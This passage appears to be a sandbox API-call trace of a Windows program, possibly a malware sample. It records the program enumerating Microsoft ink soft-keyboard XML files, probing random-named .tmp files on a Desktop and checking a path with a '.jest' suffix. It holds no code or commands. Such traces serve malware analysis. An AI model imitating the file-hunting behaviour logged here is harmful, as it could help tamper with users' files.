dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 0x143ce48 [0121.374] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.375] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x18e780*="zh-dayi.xml") returned 0x51 [0121.375] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.376] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x18e780*="zh-dayi.xml") returned 0x51 [0121.376] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.376] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x24)) [0121.376] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.376] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x24)) [0121.377] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x33)) [0121.377] GetUserDefaultLCID () returned 0x409 [0121.377] VarBstrFromR4 (in: fltIn=0x47944307, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.05") returned 0x0 [0121.377] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x18e780*="zh-dayi.xml") returned 0x51 [0121.378] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.378] GetCurrentProcessId () returned 0x9e0 [0121.378] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.378] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.380] GetFullPathNameA (in: lpFileName="PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", lpFilePart=0x18e708*="PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp") returned 0x8e [0121.380] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x18e708*="zh-dayi.xml") returned 0x51 [0121.380] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.380] GetFullPathNameA (in: lpFileName="PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", lpFilePart=0x18e6e4*="PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp") returned 0x8e [0121.380] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PUTKj8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b545550, cFileName="j8lQYIbiT1Yeu1OTxTYpmRiBJ7aNMI-zYkCD1Qv3WB9vUrYCzgId2SCZvu7jZ2nGeNLeKAlAtZuxengk 8jWFghv5b5yeBQ7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.381] GetLastError () returned 0x2 [0121.381] GetLastError () returned 0x2 [0121.381] SetLastError (dwErrCode=0x2) [0121.381] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.381] lstrcpynW (in: lpString1=0x14cf144, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-phonetic.xml_012526f8", iMaxLength=125 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-phonetic.xml_012526f8") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-phonetic.xml_012526f8" [0121.381] lstrcpynW (in: lpString1=0x14b46bc, lpString2="zh-phonetic.xml", iMaxLength=16 | out: lpString1="zh-phonetic.xml") returned="zh-phonetic.xml" [0121.382] lstrcpynW (in: lpString1=0x14cf144, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.382] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.382] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.382] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.382] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.382] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.383] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_numbase.xml_24e80ada", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_numbase.xml_24e80ada") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_numbase.xml_24e80ada" [0121.383] lstrcpynW (in: lpString1=0x14da79c, lpString2="numbase.xml", iMaxLength=12 | out: lpString1="numbase.xml") returned="numbase.xml" [0121.383] lstrcpynW (in: lpString1=0x146ad84, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers", iMaxLength=71 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" [0121.383] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.383] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.383] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.383] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.383] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.383] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFilePart=0x18e870*="numbase.xml") returned 0x54 [0121.386] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.jest", lpFilePart=0x18e870*="numbase.xml.jest") returned 0x59 [0121.387] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFilePart=0x18e6d8*="numbase.xml") returned 0x54 [0121.388] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x8c, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0x143ce48 [0121.388] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.388] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFilePart=0x18e780*="numbase.xml") returned 0x54 [0121.388] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.389] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFilePart=0x18e780*="numbase.xml") returned 0x54 [0121.389] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.389] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x33)) [0121.389] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.389] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x33)) [0121.390] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x33)) [0121.390] GetUserDefaultLCID () returned 0x409 [0121.390] VarBstrFromR4 (in: fltIn=0x47944307, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.05") returned 0x0 [0121.390] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFilePart=0x18e780*="numbase.xml") returned 0x54 [0121.390] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.391] GetCurrentProcessId () returned 0x9e0 [0121.391] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.391] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.391] GetFullPathNameA (in: lpFileName="yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", lpFilePart=0x18e708*="yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp") returned 0x8e [0121.391] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpFilePart=0x18e708*="numbase.xml") returned 0x54 [0121.391] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.392] GetFullPathNameA (in: lpFileName="yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", lpFilePart=0x18e6e4*="yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp") returned 0x8e [0121.392] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yqYP_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x50597179, cFileName="_31p7oyk-a45eDsPalQ6CZ-JGWDhr9R4Tt8JoCgkugjMsZs68g2B_VCOCnbRCd W3tXHmIZAHL6cXPc02o-Z2YaVUcOU8xsI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.392] GetLastError () returned 0x2 [0121.392] GetLastError () returned 0x2 [0121.392] SetLastError (dwErrCode=0x2) [0121.400] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.400] lstrcpynW (in: lpString1=0x14cf24c, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskmenubase.xml_15491d20", iMaxLength=125 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskmenubase.xml_15491d20") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskmenubase.xml_15491d20" [0121.400] lstrcpynW (in: lpString1=0x14b48fc, lpString2="oskmenubase.xml", iMaxLength=16 | out: lpString1="oskmenubase.xml") returned="oskmenubase.xml" [0121.400] lstrcpynW (in: lpString1=0x14cf24c, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.401] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.401] lstrcpynW (in: lpString1=0x14ed894, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_osknumpadbase.xml_7f05a37a`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_osknumpadbase.xml_7f05a37a") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_osknumpadbase.xml_7f05a37a" [0121.401] lstrcpynW (in: lpString1=0x1433584, lpString2="osknumpadbase.xml", iMaxLength=18 | out: lpString1="osknumpadbase.xml") returned="osknumpadbase.xml" [0121.401] lstrcpynW (in: lpString1=0x14cf144, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.401] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.401] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.401] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskpredbase.xml_c06c76de", iMaxLength=125 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskpredbase.xml_c06c76de") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_oskpredbase.xml_c06c76de" [0121.402] lstrcpynW (in: lpString1=0x14b498c, lpString2="oskpredbase.xml", iMaxLength=16 | out: lpString1="oskpredbase.xml") returned="oskpredbase.xml" [0121.402] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.402] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.402] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.402] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.402] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.402] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.402] lstrcpynW (in: lpString1=0x14cf24c, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ea-sym.xml_44c5096b", iMaxLength=120 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ea-sym.xml_44c5096b") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ea-sym.xml_44c5096b" [0121.402] lstrcpynW (in: lpString1=0x14da79c, lpString2="ea-sym.xmlİ", iMaxLength=11 | out: lpString1="ea-sym.xml") returned="ea-sym.xml" [0121.403] lstrcpynW (in: lpString1=0x14cf24c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", iMaxLength=71 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" [0121.403] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.403] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.403] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.403] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.403] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft 